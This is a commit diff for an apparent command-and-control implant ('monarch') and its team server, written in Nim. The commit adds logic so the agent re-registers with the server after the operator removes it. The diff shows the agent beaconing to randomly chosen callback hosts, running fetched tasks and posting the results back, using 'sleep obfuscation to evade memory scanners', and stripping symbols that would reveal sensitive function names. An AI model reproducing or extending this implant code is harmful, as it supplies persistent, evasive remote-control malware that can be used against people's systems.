Agent now re-registers to the team-server when it is still alive after it was removed via the client.
This commit is contained in:
@@ -37,7 +37,8 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
|||||||
),
|
),
|
||||||
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||||
agentPublicKey: agentKeyPair.publicKey,
|
agentPublicKey: agentKeyPair.publicKey,
|
||||||
profile: parseString(unpacker.getDataWithLengthPrefix())
|
profile: parseString(unpacker.getDataWithLengthPrefix()),
|
||||||
|
registered: false
|
||||||
)
|
)
|
||||||
|
|
||||||
wipeKey(agentKeyPair.privateKey)
|
wipeKey(agentKeyPair.privateKey)
|
||||||
|
|||||||
@@ -51,10 +51,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
# Select random callback host
|
# Select random callback host
|
||||||
let hosts = ctx.hosts.split(";")
|
let hosts = ctx.hosts.split(";")
|
||||||
let host = hosts[rand(hosts.len() - 1)]
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
|
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
|
||||||
|
|
||||||
|
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
||||||
|
if response.code == Http404:
|
||||||
|
ctx.registered = false
|
||||||
|
|
||||||
# Return if no tasks are queued
|
# Return if no tasks are queued
|
||||||
if responseBody.len <= 0:
|
let responseBody = waitFor response.body
|
||||||
|
if responseBody.len() <= 0:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||||
|
|||||||
@@ -17,23 +17,35 @@ proc main() =
|
|||||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||||
|
|
||||||
if not ctx.httpPost(registrationBytes):
|
if ctx.httpPost(registrationBytes):
|
||||||
print("[-] Agent registration failed.")
|
|
||||||
quit(0)
|
|
||||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||||
|
ctx.registered = true
|
||||||
|
else:
|
||||||
|
print "[-] Agent registration failed."
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Agent routine:
|
Agent routine:
|
||||||
1. Sleep Obfuscation
|
1. Register to the team server if not already register
|
||||||
2. Retrieve tasks via checkin request to a GET endpoint
|
2. Sleep Obfuscation
|
||||||
3. Execute task and post result
|
3. Retrieve tasks via checkin request to a GET endpoint
|
||||||
4. If additional tasks have been fetched, go to 3.
|
4. Execute task and post result
|
||||||
5. If no more tasks need to be executed, go to 1.
|
5. If additional tasks have been fetched, go to 3.
|
||||||
|
6. If no more tasks need to be executed, go to 1.
|
||||||
]#
|
]#
|
||||||
while true:
|
while true:
|
||||||
|
|
||||||
# Sleep obfuscation to evade memory scanners
|
# Sleep obfuscation to evade memory scanners
|
||||||
sleepObfuscate(ctx.sleepSettings)
|
sleepObfuscate(ctx.sleepSettings)
|
||||||
|
|
||||||
|
# Register
|
||||||
|
if not ctx.registered:
|
||||||
|
if ctx.httpPost(registrationBytes):
|
||||||
|
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||||
|
ctx.registered = true
|
||||||
|
else:
|
||||||
|
print "[-] Agent registration failed."
|
||||||
|
continue
|
||||||
|
|
||||||
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
||||||
print "\n", fmt"[*] [{date}] Checking in."
|
print "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|
||||||
@@ -46,13 +58,13 @@ proc main() =
|
|||||||
packet: string = ctx.httpGet(heartbeatBytes)
|
packet: string = ctx.httpGet(heartbeatBytes)
|
||||||
|
|
||||||
if packet.len <= 0:
|
if packet.len <= 0:
|
||||||
print("[*] No tasks to execute.")
|
print "[*] No tasks to execute."
|
||||||
continue
|
continue
|
||||||
|
|
||||||
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
print("[*] No tasks to execute.")
|
print "[*] No tasks to execute."
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Execute all retrieved tasks and return their output to the server
|
# Execute all retrieved tasks and return their output to the server
|
||||||
@@ -63,7 +75,7 @@ proc main() =
|
|||||||
ctx.httpPost(resultBytes)
|
ctx.httpPost(resultBytes)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
print("[-] ", err.msg)
|
print "[-] ", err.msg
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
main()
|
main()
|
||||||
@@ -5,5 +5,5 @@
|
|||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-d:VERBOSE="true"
|
-d:VERBOSE="false"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -336,6 +336,7 @@ type
|
|||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
agentPublicKey*: Key
|
agentPublicKey*: Key
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
|
registered*: bool
|
||||||
|
|
||||||
# Structure for command module definitions
|
# Structure for command module definitions
|
||||||
type
|
type
|
||||||
|
|||||||
@@ -47,7 +47,6 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
|
|||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
try:
|
|
||||||
# Deserialize checkin request to obtain agentId and listenerId
|
# Deserialize checkin request to obtain agentId and listenerId
|
||||||
let
|
let
|
||||||
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
|
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
|
||||||
@@ -76,10 +75,6 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
|
|||||||
|
|
||||||
return (agentId, tasks)
|
return (agentId, tasks)
|
||||||
|
|
||||||
except CatchableError as err:
|
|
||||||
cq.error(err.msg)
|
|
||||||
return ("", @[])
|
|
||||||
|
|
||||||
proc handleResult*(resultData: seq[byte]) =
|
proc handleResult*(resultData: seq[byte]) =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|||||||
Reference in New Issue
Block a user